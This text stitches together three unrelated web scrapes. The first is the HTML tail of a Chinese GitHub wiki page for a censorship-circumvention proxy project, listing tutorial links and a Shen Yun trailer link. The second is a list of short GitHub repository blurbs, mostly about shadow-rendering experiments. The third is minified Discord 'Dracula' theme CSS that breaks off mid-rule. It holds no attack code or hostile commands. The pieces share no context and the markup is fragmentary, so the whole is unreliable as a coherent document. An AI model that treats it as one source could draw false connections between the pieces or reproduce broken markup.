href="https://github.com/Alvin9999/new-pac/wiki/Linux%E7%B3%BB%E7%BB%9F%E7%BF%BB%E5%A2%99%E6%96%B9%E6%B3%95">Linux系统翻墙方法</a> (2018年5月30日增加Linux SSR 使用方法二)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/YouTube%E4%B8%8B%E8%BD%BD1080%E6%95%99%E7%A8%8B">YouTube下载1080教程</a> (2018年11月25日发布)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E5%AE%9E%E7%94%A8%E7%BD%91%E7%BB%9C%E5%B0%8F%E7%9F%A5%E8%AF%86">实用网络小知识</a> (2018年4月26日更新)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E6%95%B0%E5%AD%97%E5%AE%89%E5%85%A8%E6%89%8B%E5%86%8C">数字安全手册</a> (推荐两本关于网络安全的书籍)</p> <hr> <p>真心希望大家都能够突破网络封锁、获得真相,祝愿每位善良的人都能拥有一个美好的未来。</p> <p>2019年神韵晚会超清预告片<a href="http://108.61.224.82:8000/f/ddd18239a6/" rel="nofollow">在线观看或下载</a></p> <p><img src="https://raw.githubusercontent.com/Alvin9999/pac2/master/shenyun003.jpg" alt=""></p> <p><img src="https://raw.githubusercontent.com/Alvin9999/pac2/master/1.JPG" alt=""></p> <p><img src="https://raw.githubusercontent.com/Alvin9999/pac2/master/2.JPG" alt=""></p> <hr> <p>有问题可以发帖<a href="https://github.com/Alvin9999/new-pac/issues">反馈交流</a>,或者发邮件到海外邮箱<a href="mailto:kebi2014@gmail.com">kebi2014@gmail.com</a>进行反馈,反馈邮件标题最好注明什么软件及截图。</p> </div> </div> <div id="wiki-rightbar" class="mt-4 ml-md-6 flex-shrink-0 width-full wiki-rightbar"> <div id="wiki-pages-box" class="mb-4 wiki-pages-box js-wiki-pages-box" role="navigation"> <div class="Box Box--condensed box-shadow"> <div class="Box-header js-wiki-toggle-collapse" style="cursor: pointer"> <h3 class="Box-title"> <svg class="octicon octicon-triangle-down js-wiki-sidebar-toggle-display" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 5l6 6 6-6H0z"/></svg> <svg class="octicon octicon-triangle-right js-wiki-sidebar-toggle-display d-none" viewBox="0 0 6 16" version="1.1" width="6" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 14l6-6-6-6v12z"/></svg> Pages <span class="Counter Counter--gray">27</span> </h3> </div> <div class=" js-wiki-sidebar-toggle-display"> <div class="filter-bar"> <input type="text" id="wiki-pages-filter" class="form-control input-sm input-block js-filterable-field" placeholder="Find a Page…" aria-label="Find a Page…"> </div> <ul class="m-0 p-0 list-style-none" data-filterable-for="wiki-pages-filter" data-filterable-type="substring"> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki">Home</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/FreeGate%E5%92%8CWuJie%E7%89%88">FreeGate和WuJie版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/GoAgent-ipv6%E7%89%88">GoAgent ipv6版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/GoProxy-ipv6%E7%89%88">GoProxy ipv6版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/ipv6%E5%BC%80%E5%90%AF%E6%96%B9%E6%B3%95">ipv6开启方法</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/Linux%E7%B3%BB%E7%BB%9F%E7%BF%BB%E5%A2%99%E6%96%B9%E6%B3%95">Linux系统翻墙方法</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/SkyZip%E7%89%88">SkyZip版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/SSR%E7%89%88">SSR版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/ss%E5%85%8D%E8%B4%B9%E8%B4%A6%E5%8F%B7">ss免费账号</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/v2ray%E7%89%88">v2ray版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/YouTube%E4%B8%8B%E8%BD%BD1080%E6%95%99%E7%A8%8B">YouTube下载1080教程</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E4%BD%8E%E5%86%85%E6%A0%B8%E7%89%88">低内核版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E5%AE%89%E5%8D%93%E6%89%8B%E6%9C%BA%E7%89%88">安卓手机版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E5%AE%9E%E7%94%A8%E7%BD%91%E7%BB%9C%E5%B0%8F%E7%9F%A5%E8%AF%86">实用网络小知识</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">平板电脑翻墙软件</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E6%95%B0%E5%AD%97%E5%AE%89%E5%85%A8%E6%89%8B%E5%86%8C">数字安全手册</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E7%81%AB%E7%8B%90%E7%BF%BB%E5%A2%99%E6%B5%8F%E8%A7%88%E5%99%A8">火狐翻墙浏览器</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E7%9B%B4%E7%BF%BB%E9%80%9A%E9%81%93">直翻通道</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAgoogle-appid%E6%95%99%E7%A8%8B">自建google appid教程</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAss%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建ss服务器教程</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAv2ray%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建v2ray服务器教程</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%8B%B9%E6%9E%9C%E6%89%8B%E6%9C%BA%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">苹果手机翻墙软件</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%8B%B9%E6%9E%9C%E7%94%B5%E8%84%91MAC%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">苹果电脑MAC翻墙软件</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%B0%B7%E6%AD%8C%E6%B5%8F%E8%A7%88%E5%99%A8%E5%86%85%E6%A0%B8%E5%8D%87%E7%BA%A7%E6%96%B9%E6%B3%95">谷歌浏览器内核升级方法</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%B0%B7%E6%AD%8C%E9%95%9C%E5%83%8F">谷歌镜像</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%B5%9B%E9%A3%8E%E7%89%88">赛风版</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E9%AB%98%E5%86%85%E6%A0%B8%E7%89%88">高内核版</a></strong> </li> <li class="Box-row wiki-more-pages-link"> <button type="button" class="f6 mx-auto btn-link muted-link js-wiki-more-pages-link"> Show 12 more pages… </button> </li> </ul> </div> </div> </div> <h5 class="mt-0 mb-2">Clone this wiki locally</h5> <div class="width-full input-group"> <input id="wiki-clone-url" type="text" data-autoselect class="form-control input-sm text-small text-gray input-monospace" aria-label="Clone URL for this wiki" value="https://github.com/Alvin9999/new-pac.wiki.git" readonly="readonly"> <span class="input-group-button"> <clipboard-copy for="wiki-clone-url" aria-label="Copy to clipboard" class="btn btn-sm zeroclipboard-button"> <svg class="octicon octicon-clippy" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 13h4v1H2v-1zm5-6H2v1h5V7zm2 3V8l-3 3 3 3v-2h5v-2H9zM4.5 9H2v1h2.5V9zM2 12h2.5v-1H2v1zm9 1h1v2c-.02.28-.11.52-.3.7-.19.18-.42.28-.7.3H1c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h3c0-1.11.89-2 2-2 1.11 0 2 .89 2 2h3c.55 0 1 .45 1 1v5h-1V6H1v9h10v-2zM2 5h8c0-.55-.45-1-1-1H8c-.55 0-1-.45-1-1s-.45-1-1-1-1 .45-1 1-.45 1-1 1H3c-.55 0-1 .45-1 1z"/></svg> </clipboard-copy> </span> </div> </div> </div> </div> <div class="modal-backdrop js-touch-events"></div> </div> </div> </div> </div> <div class="footer container-lg p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 text-gray border-top border-gray-light "> <ul class="list-style-none d-flex flex-wrap col-12 col-lg-6 flex-justify-center flex-lg-justify-start mb-2 mb-lg-0"> <li class="mr-3">© 2019 <span title="0.26529s from unicorn-6b7d8f46b9-6kz2x">GitHub</span>, Inc.</li> <li class="mr-3"><a data-ga-click="Footer, go to terms, text:terms" href="https://github.com/site/terms">Terms</a></li> <li class="mr-3"><a data-ga-click="Footer, go to privacy, text:privacy" href="https://github.com/site/privacy">Privacy</a></li> <li class="mr-3"><a data-ga-click="Footer, go to security, text:security" href="https://github.com/security">Security</a></li> <li class="mr-3"><a href="https://githubstatus.com/" data-ga-click="Footer, go to status, text:status">Status</a></li> <li><a data-ga-click="Footer, go to help, text:help" href="https://help.github.com">Help</a></li> </ul> <a aria-label="Homepage" title="GitHub" class="footer-octicon mr-lg-4" href="https://github.com"> <svg height="24" class="octicon octicon-mark-github" viewBox="0 0 16 16" version="1.1" width="24" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg> </a> <ul class="list-style-none d-flex flex-wrap col-12 col-lg-6 flex-justify-center flex-lg-justify-end mb-2 mb-lg-0"> <li class="mr-3"><a data-ga-click="Footer, go to contact, text:contact" href="https://github.com/contact">Contact GitHub</a></li> <li class="mr-3"><a href="https://github.com/pricing" data-ga-click="Footer, go to Pricing, text:Pricing">Pricing</a></li> <li class="mr-3"><a href="https://developer.github.com" data-ga-click="Footer, go to api, text:api">API</a></li> <li class="mr-3"><a href="https://training.github.com" data-ga-click="Footer, go to training, text:training">Training</a></li> <li class="mr-3"><a href="https://github.blog" data-ga-click="Footer, go to blog, text:blog">Blog</a></li> <li><a data-ga-click="Footer, go to about, text:about" href="https://github.com/about">About</a></li> </ul> </div> <div class="d-flex flex-justify-center pb-6"> <span class="f6 text-gray-light"></span> </div> </div> <div id="ajax-error-message" class="ajax-error-message flash flash-error"> <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"/></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/></svg> </button> You can’t perform that action at this time. </div> <script crossorigin="anonymous" integrity="sha512-N6BPdqxnrYL4kxWa5gDIlmhui/SEMiHoobwzTpVOWheR111Zxv5GOnCtGpt5qhE5rIpi9RHMeyngI5w6WhGfnw==" type="application/javascript" src="https://github.githubassets.com/assets/frameworks-0339542411b5666802ea364ae561d67e.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-D/8iR8ROD3vVOmwLSVsS1j1knDeAOuW9NLNRFb3Pyd68G/gC1b3xRH/krz0K2nuECEZRjVsUAU5caoJKAwoLwA==" type="application/javascript" src="https://github.githubassets.com/assets/github-27e2e2875f3fc6cfce6518e479adf7b8.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-c44z5nODEaKK3GYFvk6sJ+mQ11NU39x+7a8XfyyP2tvKxKleREj9kiG7faxy8HezxO3JLEySVB+jrElhE/tZDg==" type="application/javascript" src="https://github.githubassets.com/assets/wiki-d986eaa4dd007a3f9a67d1f6a6c30320.js"></script> <div class="js-stale-session-flash stale-session-flash flash flash-warn flash-banner d-none"> <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"/></svg> <span class="signed-in-tab-flash">You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span> <span class="signed-out-tab-flash">You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default text-gray-dark" open> <summary aria-haspopup="dialog" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details> </template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box box-shadow-large" style="width:360px;"> </div> </div> <div id="hovercard-aria-description" class="sr-only"> Press h to open a hovercard with more details. </div> <div aria-live="polite" class="js-global-screen-reader-notice sr-only"></div> </body> </html>
Jayanths9
Transform facial images with virtual makeup using Python, OpenCV, and MediaPipe. This script enables real-time application of lipstick, eye shadow, eyebrow color, and eyeliner based on facial landmarks. Ideal for experimenting with different makeup styles using video, image, or live camera inputs.
bkardell
Small library for experimenting with ways to tame Shadow DOM in CSS
Experimenting with Shadow techniques like Cascading Shadow Maps
gkjohnson
A few custom shadow implementation experiments within Unity
Jiankun-chen
We present a novel complex-valued convolutional and multi-feature fusion network (CVCMFF Net) specifically for building semantic segmentation of InSAR images. It can effectively segment the layover, shadow, and background on both the simulated InSAR building images and the real airborne InSAR images. The segmentation performance of CVCMFF Net is significantly improved compared with other state-of-the-art networks. The comparative experiments are link to https://github.com/Jiankun-chen/building-semantic-segmentation-of-InSAR-images
bkardell
Small library for experimenting with different ways to tame Shadow DOM
oslego
Experiment to check how regions interact with Shadow DOM
robinerd
This is a small test I implemented in java to experiment with creating shadows blocking sight behind objects relative to the mouse cursor. Could be used in some kind of maze game forcing the player to explore the level instead of just tracing a path. The shadows are generated per pixel from an object map. The code is too slow for making a good realtime game, due to lack of hardware acceleration. Still, lots of improvement on performance has been done by trying different ways of computing shadows. For bettter performance the shadow calculation could be implemented with hardware acceleration using for example OpenGL or xna
spin0za
An experiment on detection of shadow boundaries in images.
stemkoski
a collection of examples building up to interactive 3D applications involving shadows
ted-piotrowski
Experiments with building shadows
Built and trained a convolutional neural network to drive the car itself autonomously in a simulator using Tensorflow (backend) and Keras. Experimented with a modified Nvidia architecture. Performed image processing with brightness, shadow augmentation, and flipped images. Used dropout and Adam optimizer to generalize the network for driving multiple tracks. The datasets are used via Udacity's source for training the model. Trained the model on Amazon AWS EC2 platform with GPU instances.
cohosh
A simple snowflake experiment for shadow
psde
Port of Gosu tutorial game 'CptnRuby' to C++, also experiments with 2D shadows
chrisfrancis27
A little experiment with HTML5 canvas to create a torch/spotlight effect with directional shadows
Weazzy4x
@import"https://x6r.github.io/addons/DiscordFont.css";@import"https://snappercord.github.io/Settings-Icons/source.css";@import"https://nyri4.github.io/Discolored/main.css";.theme-dark,:root{--dracula-primary: #282a36;--dracula-secondary: #242631;--dracula-secondary-alpha: rgba(36, 38, 49, 0.9);--dracula-tertiary: #20222c;--dracula-tertiary-alpha: rgba(32, 34, 44, 0.6);--dracula-primary-light: #44475a;--dracula-accent: #bd93f9;--dracula-accent-alpha: rgba(189, 147, 249, 0.2);--dracula-accent-alpha-alt: rgba(189, 147, 249, 0.35);--dracula-accent-alpha-alt2: rgba(189, 147, 249, 0.5);--dracula-accent-dark: #7b49c0;--dracula-accent-light: #d4b5ff;--background-primary: var(--dracula-primary);--background-secondary: var(--dracula-secondary);--background-secondary-alt: var(--dracula-secondary);--background-tertiary: var(--dracula-secondary);--background-accent: var(--dracula-accent);--scrollbar-thumb: var(--dracula-primary-light);--scrollbar-thin-thumb: var(--dracula-primary-light);--scrollbar-auto-scrollbar-color-thumb: var(--dracula-primary-light);--scrollbar-auto-track: var(--dracula-primary);--scrollbar-auto-scrollbar-color-track: var(--dracula-primary);--scrollbar-auto-thumb: var(--dracula-primary-light);--text-link: var(--dracula-accent);--focus-primary: var(--dracula-accent);--background-modifier-accent: var(--dracula-tertiary);--background-modifier-hover: var(--dracula-tertiary);--background-modifier-active: var(--dracula-tertiary);--background-modifier-selected: var(--dracula-tertiary);--header-primary: var(--dracula-accent);--background-floating: var(--dracula-secondary);--deprecated-text-input-border: var(--dracula-tertiary);--deprecated-card-editable-bg: var(--dracula-secondary);--deprecated-text-input-bg: var(--dracula-secondary);--deprecated-text-input-border: var(--dracula-tertiary);--radio-group-dot-foreground: var(--dracula-accent);--control-brand-foreground: var(--dracula-accent);--spotify-color: var(--dracula-accent) !important;--toast-header: var(--dracula-secondary) !important;--toast-background: var(--dracula-primary) !important;--toast-border: var(--dracula-tertiary) !important;--toast-contents: var(--dracula-secondary) !important;--bd-blue: var(--dracula-accent);--bd-blue-hover: var(--dracula-accent-light);--bd-blue-active: var(--dracula-accent-light);--blurple: var(--dracula-accent);--text-brand: var(--dracula-accent);--brand-experiment-100: #f8f9fd;--brand-experiment-130: #f2f4fc;--brand-experiment-160: #ebeefa;--brand-experiment-200: #e3e7f8;--brand-experiment-230: #dae0f5;--brand-experiment-260: #d1d9f3;--brand-experiment-300: #c7d0f0;--brand-experiment-330: #b5c1ec;--brand-experiment-360: #a5b3e7;--brand-experiment-400: #8ea1e1;--brand-experiment-430: var(--dracula-accent-light);--brand-experiment-460: #7d92dd;--brand-experiment: var(--dracula-accent);--brand-experiment-500: #7289da;--brand-experiment-530: #687dc6;--brand-experiment-560: var(--dracula-accent-light);--brand-experiment-600: #4e5d94;--brand-experiment-630: #435180;--brand-experiment-660: #3b4770;--brand-experiment-700: #2e3757;--brand-experiment-730: #2b3352;--brand-experiment-760: #272f4b;--brand-experiment-800: #222941;--brand-experiment-830: #1a2032;--brand-experiment-860: #111521;--brand-experiment-900: #06070b;--brand-experiment-05a: rgba(114, 137, 218, 0.05);--brand-experiment-10a: rgba(114, 137, 218, 0.1);--brand-experiment-15a: rgba(114, 137, 218, 0.15);--brand-experiment-20a: rgba(114, 137, 218, 0.2);--brand-experiment-25a: rgba(114, 137, 218, 0.25);--brand-experiment-30a: rgba(114, 137, 218, 0.3);--brand-experiment-35a: rgba(114, 137, 218, 0.35);--brand-experiment-40a: rgba(114, 137, 218, 0.4);--brand-experiment-45a: rgba(114, 137, 218, 0.45);--brand-experiment-50a: rgba(114, 137, 218, 0.5);--brand-experiment-55a: rgba(114, 137, 218, 0.55);--brand-experiment-60a: rgba(114, 137, 218, 0.6);--brand-experiment-65a: rgba(114, 137, 218, 0.65);--brand-experiment-70a: rgba(114, 137, 218, 0.7);--brand-experiment-75a: rgba(114, 137, 218, 0.75);--brand-experiment-80a: rgba(114, 137, 218, 0.8);--brand-experiment-85a: rgba(114, 137, 218, 0.85);--brand-experiment-90a: rgba(114, 137, 218, 0.9);--brand-experiment-95a: rgba(114, 137, 218, 0.95)}.wordmark-2u86JB svg{width:0px}.wordmark-2u86JB::after{position:absolute;font-family:"Discord";content:"dracula";font-size:14px;background:var(--dracula-accent);-webkit-background-clip:text;-webkit-text-fill-color:transparent}:root{--unread-badge: rgba(255, 255, 255, 0.6);--unread-bg: rgba(255, 255, 255, 0);--selected-badge: var(--dracula-accent);--selected-bg: var(--dracula-accent-alpha);--selected-bg-hover: var(--dracula-accent-alpha-alt);--hovered-bg: rgba(79, 84, 92, 0.2);--bg-rounding: 2px;--indicators-border-info: 2px solid}.content-1gYQeQ,.channel-1Shao0>.layout-1qmrhw{background:none !important}.modeSelected-3DmyhH::before,.modeUnread-3Cxepe::before{content:"";position:absolute;height:34px;top:0}.channel-1Shao0.selected-1-Z6gm::before{content:"";position:absolute;height:44px;top:0}.modeSelected-3DmyhH,.channel-1Shao0.selected-1-Z6gm{background:var(--selected-bg);border-radius:var(--bg-rounding)}.modeSelected-3DmyhH:hover,.channel-1Shao0.selected-1-Z6gm:hover{background:var(--selected-bg-hover)}.modeSelected-3DmyhH::before,.channel-1Shao0.selected-1-Z6gm::before{border-left:var(--indicators-border-info) var(--selected-badge)}.content-1gYQeQ,.channel-1Shao0>.layout-1qmrhw{background:none !important}.modeSelected-3DmyhH::before,.modeUnread-3Cxepe::before{content:"";position:absolute;height:34px;top:0}.channel-1Shao0.selected-1-Z6gm::before{content:"";position:absolute;height:44px;top:0}.modeSelected-3DmyhH,.channel-1Shao0.selected-1-Z6gm{background:var(--selected-bg);border-radius:var(--bg-rounding)}.modeSelected-3DmyhH:hover,.channel-1Shao0.selected-1-Z6gm:hover{background:var(--selected-bg-hover)}.modeSelected-3DmyhH::before,.channel-1Shao0.selected-1-Z6gm::before{border-left:var(--indicators-border-info) var(--selected-badge)}.modeUnread-3Cxepe{background:var(--unread-bg);border-radius:var(--bg-rounding)}.modeUnread-3Cxepe::before{border-left:var(--indicators-border-info) var(--unread-badge)}.unread-36eUEm{display:none}.modeUnread-3Cxepe:hover,.wrapper-NhbLHG:hover:not(.modeSelected-3DmyhH),.channel-1Shao0.container-1oeRFJ:hover:not(.selected-1-Z6gm){background:var(--hovered-bg);border-radius:var(--bg-rounding)}.channel-1Shao0.container-1oeRFJ{margin-left:0;max-width:233px}#private-channels>div>.channel-1Shao0>div>.avatar-6qzftW{margin-left:4px}.mentioned-Tre-dv{background:rgba(189,147,249,.1) !important}.mentioned-Tre-dv:before{background:#bd93f9 !important}.mentioned-Tre-dv:hover{background:rgba(189,147,249,.2) !important}.numberBadge-37OJ3S.base-3IDx3L{background-color:var(--dracula-accent) !important}.replying-eZ7p5z{background:rgba(189,147,249,.1) !important}.replying-eZ7p5z:before{background-color:#bd93f9 !important}.replying-eZ7p5z::hover{background:rgba(189,147,249,.2) !important}.role-2TIOKu.flex-3BkGQD:not(.addButton-1_dZYu):not(.actionButton-1YKTU0){z-index:1;position:relative;overflow:hidden;border:solid;border-width:0 0 0 2px;border-radius:3px}.roleCircle-1EgnFN.flex-3BkGQD{height:4px;width:4px}.roleCircle-1EgnFN.flex-3BkGQD:before{content:" ";position:absolute;z-index:-1;background:inherit;opacity:.15;width:100%;height:100%;top:0;left:0}.connectedAccount-1xKpli{background-color:rbga(0, 0, 0, 0);border-width:0}.connectedAccount-1xKpli>.connectedAccountIcon-2vls0t{z-index:1}.connectedAccount-1xKpli>.connectedAccountIcon-2vls0t+.connectedAccountNameInner-t24B11::after{--box-shadow: -2px 0 0 0;content:"";position:absolute;border-radius:1px 3px 3px 1px;margin-left:-35px;height:46px;width:44%}.connectedAccount-1xKpli>.connectedAccountNameInner-t24B11+a.anchor-1MIwyf{z-index:1}.connectedAccount-1xKpli>.connectedAccountNameInner-t24B11>.connectedAccountName-j0meX4,.connectedAccount-1xKpli>.connectedAccountNameInner-t24B11>.connectedAccountName-j0meX4+span{z-index:1}.connectedAccount-1xKpli>.connectedAccountNameInner-t24B11>.connectedAccountName-j0meX4>.flowerStarContainer-1QeD-L>svg>path,.connectedAccount-1xKpli>.connectedAccountNameInner-t24B11>.connectedAccountName-j0meX4+span>.flowerStarContainer-1QeD-L>svg>path{fill:#fff;opacity:.4}.connectedAccountIcon-2vls0t[alt*=GitHub]+.connectedAccountNameInner-t24B11::after{background-color:#24292e;box-shadow:var(--box-shadow) #d9dadb}.connectedAccountIcon-2vls0t[alt*=Twitch]+.connectedAccountNameInner-t24B11::after{background-color:#3a2b5f;box-shadow:var(--box-shadow) #9059f6}.connectedAccountIcon-2vls0t[alt*=Steam]+.connectedAccountNameInner-t24B11::after{background-color:#171a21;box-shadow:var(--box-shadow) #3b587c}.connectedAccountIcon-2vls0t[alt*=Spotify]+.connectedAccountNameInner-t24B11::after{background-color:#138139;box-shadow:var(--box-shadow) #1ed760}.connectedAccountIcon-2vls0t[alt*=Twitter]+.connectedAccountNameInner-t24B11::after{background-color:#0c5886;box-shadow:var(--box-shadow) #76c5f5}.connectedAccountIcon-2vls0t[alt*=Reddit]+.connectedAccountNameInner-t24B11::after{background-color:#81340e;box-shadow:var(--box-shadow) #ff6314}.connectedAccountIcon-2vls0t[alt*=YouTube]+.connectedAccountNameInner-t24B11::after{background-color:#6d1616;box-shadow:var(--box-shadow) #ee0f0f}.connectedAccountIcon-2vls0t[alt*=Battle]+.connectedAccountNameInner-t24B11::after{background-color:#175266;box-shadow:var(--box-shadow) #3ab1da}.connectedAccountIcon-2vls0t[alt*=Xbox]+.connectedAccountNameInner-t24B11::after{background-color:#1c632a;box-shadow:var(--box-shadow) #7b4}.connectedAccountIcon-2vls0t[alt*=Facebook]+.connectedAccountNameInner-t24B11::after{background-color:#14223d;box-shadow:var(--box-shadow) #3a5998}.connectedAccountIcon-2vls0t[alt*="League of Legends"]+.connectedAccountNameInner-t24B11::after{background-color:#424491;box-shadow:var(--box-shadow) #676ae6}.connectedAccountIcon-2vls0t[alt*=Skype]+.connectedAccountNameInner-t24B11::after{background-color:#424491;box-shadow:var(--box-shadow) #676ae6}.connectedAccountIcon-2vls0t[alt*=GitLab]+.connectedAccountNameInner-t24B11::after{background-color:#8f2b1b;box-shadow:var(--box-shadow) #fca326}.connectedAccountIcon-2vls0t[alt*=Minecraft]+.connectedAccountNameInner-t24B11::after{background-color:#2a4911;box-shadow:var(--box-shadow) #70b237}.connectedAccountIcon-2vls0t[alt*="discord.bio"]+.connectedAccountNameInner-t24B11::after{background-color:#3d4870;box-shadow:var(--box-shadow) #7289da}.headerPlaying-j0WQBV,.topSectionPlaying-1J5E4n{z-index:1;background-image:url("https://x6r.github.io/addons/playing-background.svg")}.headerSpotify-zpWxgT,.topSectionSpotify-1lI0-P{z-index:1;background-image:url("https://x6r.github.io/addons/playing-background.svg")}.headerStreaming-2FjmGz,.topSectionStreaming-1Tpf5X{z-index:1;background-image:url("https://x6r.github.io/addons/playing-background.svg")}.embedWrapper-1MtIDg.embedFull-1HGV2S{border-radius:4px;border-left:4px solid var(--background-tertiary);box-shadow:var(--elevation-high)}:root{--quotes-background-border: var(--dracula-secondary);--quotes-divider: var(--dracula-accent);--quotes-text: #fff}.blockquoteContainer-3VtvI1{padding:2px 0 2px 0}.blockquoteContainer-3VtvI1 blockquote{background-color:var(--quotes-background-border);border:1px solid var(--quotes-background-border);color:var(--quotes-text);border-radius:0 4px 4px 0;padding:4px 11px 4px}.blockquoteContainer-3VtvI1>.blockquoteDivider-363utW{background-color:var(--quotes-divider);border-radius:4px 0 0 